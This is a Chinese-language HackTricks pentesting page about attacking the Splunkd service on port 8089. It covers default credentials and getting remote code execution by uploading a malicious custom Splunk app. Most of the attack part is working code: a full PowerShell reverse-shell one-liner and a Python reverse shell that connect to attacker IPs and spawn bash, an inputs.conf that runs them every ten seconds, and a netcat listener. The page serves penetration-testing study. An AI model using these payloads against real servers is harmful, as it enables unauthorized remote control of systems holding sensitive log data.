hacktricks/network-services-pentesting/8089-splunkd.md
2023-08-03 19:12:22 +00:00

8.5 KiB
Raw Blame History

8089 - Splunkd渗透测试

☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本信息

Splunk是一个用于收集、分析和可视化数据的日志分析工具。尽管最初并不是作为SIEM工具而设计的但Splunk经常用于安全监控和业务分析。Splunk部署通常用于存储敏感数据,如果被攻击者入侵,可能会提供大量信息。

**默认端口:**8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

{% hint style="info" %} Splunk Web服务器默认在端口8000上运行。 {% endhint %}

枚举

免费版本

Splunk Enterprise试用版在60天后转换为免费版本不需要身份验证。系统管理员安装Splunk试用版进行测试然后往往会忘记。这将自动转换为没有任何形式身份验证的免费版本,从而在环境中引入安全漏洞。一些组织可能由于预算限制而选择免费版本,但并不完全了解没有用户/角色管理的影响。

默认凭据

在旧版本的Splunk中默认凭据是**admin:changeme,方便地显示在登录页面上。
然而,最新版本的Splunk
安装过程中设置凭据**。如果默认凭据不起作用,可以尝试常见的弱密码,如adminWelcomeWelcome1Password123等。

获取信息

登录Splunk后我们可以浏览数据,运行报告,创建仪表板从Splunkbase库中安装应用程序,并安装自定义应用程序。
您还可以运行代码Splunk有多种运行代码的方式例如服务器端Django应用程序、REST端点、脚本输入和警报脚本。在Splunk服务器上获得远程代码执行的常见方法是使用脚本输入。

此外由于Splunk可以安装在Windows或Linux主机上可以创建脚本输入来运行Bash、PowerShell或批处理脚本。

Shodan

  • Splunk构建

RCE

创建自定义应用程序

自定义应用程序可以运行Python、批处理、Bash或PowerShell脚本
请注意,Splunk已安装了Python,因此即使在Windows系统中您也可以运行Python代码。

您可以使用 Splunk软件包来帮助我们。此存储库中的**bin**目录有PythonPowerShell的示例。让我们逐步进行。

为了实现这一点我们首先需要使用以下目录结构创建一个自定义的Splunk应用程序

tree splunk_shell/

splunk_shell/
├── bin
└── default

bin目录将包含我们打算运行的脚本(在本例中是一个PowerShell反向shell默认目录将有我们的inputs.conf文件。我们的反向shell将是一个PowerShell一行命令

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

inputs.conf文件告诉Splunk要运行哪个脚本以及其他条件。在这里我们将应用程序设置为启用并告诉Splunk每10秒运行一次脚本。间隔始终以秒为单位并且只有在存在此设置时输入脚本才会运行。

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

我们需要一个.bat文件在应用部署时运行并执行PowerShell一行命令。

下一步是选择从文件安装应用并上传应用。

在上传恶意自定义应用之前让我们使用Netcat或socat启动一个监听器。

sudo nc -lnvp 443

listening on [any] 443 ...

上传应用程序页面上,点击浏览选择之前创建的tarball文件然后点击上传。一旦我们上传应用程序,应用程序的状态将自动切换为已启用同时我们将收到一个反向shell连接。

Linux

如果我们处理的是一个Linux主机我们需要在创建tarball文件和上传自定义恶意应用程序之前编辑rev.py Python脚本。其余的过程将保持不变我们将在Netcat监听器上获得一个反向shell连接。

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & 提权

在下面的页面中,您可以找到如何滥用此服务以提升权限并获取持久性的解释:

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}

参考资料

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥